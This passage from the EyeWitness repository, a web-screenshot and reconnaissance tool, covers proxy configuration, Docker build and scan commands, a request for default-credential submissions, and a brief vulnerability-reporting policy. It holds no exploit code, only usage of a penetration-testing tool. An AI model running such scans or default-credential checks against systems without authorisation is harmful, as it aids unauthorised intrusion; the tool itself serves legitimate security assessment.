~/.gitconfig 71 | [http] 72 | proxy = http://localhost:3128 73 | 74 | Wget 75 | --------------------- 76 | $ cat ~/.wgetrc or /etc/wgetrc 77 | 78 | use_proxy=yes 79 | http_proxy=127.0.0.1:3128 80 | https_proxy=127.0.0.1:3128 81 | 82 | General system proxy 83 | -------------------------------- 84 | 85 | export HTTP_PROXY=http://localhost:3128 86 | export HTTPS_PROXY=http://localhost:3128 87 | ``` 88 | 89 | ### Docker 90 | Now you can execute EyeWitness in a docker container and prevent you from install unnecessary dependencies in your host machine. 91 | 92 | **Note:** execute *docker run* with the folder path in the host which hold your results (**/path/to/results**) 93 | **Note2:** in case you want to scan urls from a file, make sure you put it in the volume folder (if you put *urls.txt* in */path/to/results*, then the argument should be *-f /tmp/EyeWitness/urls.txt*) 94 | 95 | ##### Usage 96 | ```bash 97 | sudo docker build -t eyewitness 98 | ``` 99 | 100 | ##### Example #1 - 101 | ```bash 102 | sudo docker run --rm \ 103 | -v /tmp:/Eyewitness/Python/ \ 104 | eyewitness --web \ 105 | -f /Eyewitness/Python/dns.txt \ 106 | --no-prompt \ 107 | -d /Eyewitness/Python/report-$(date +'%d-%m-%Y-%H-%M-%S' | sed 's/[-:]/-/g') 108 | ``` 109 | And then on your host : 110 | 111 | ```bash 112 | cd /tmp && ls 113 | cd report* 114 | firefox-esr report.html & 115 | ``` 116 | ###### Call to Action: 117 | I'd love for EyeWitness to identify more default credentials of various web applications. 118 | As you find a device which utilizes default credentials, please e-mail me the source code of the index page and the default creds so I can add it in to EyeWitness! 119 | -------------------------------------------------------------------------------- /Security.md: -------------------------------------------------------------------------------- 1 | # Security 2 | 3 | In the event that you find a security issue with EyeWitness please create a Github issue or, potentially due to the severity, or you just want to privately report it, please contact us via the web form at https://redsiege.com 4 | 5 | --------------------------------------------------------------------------------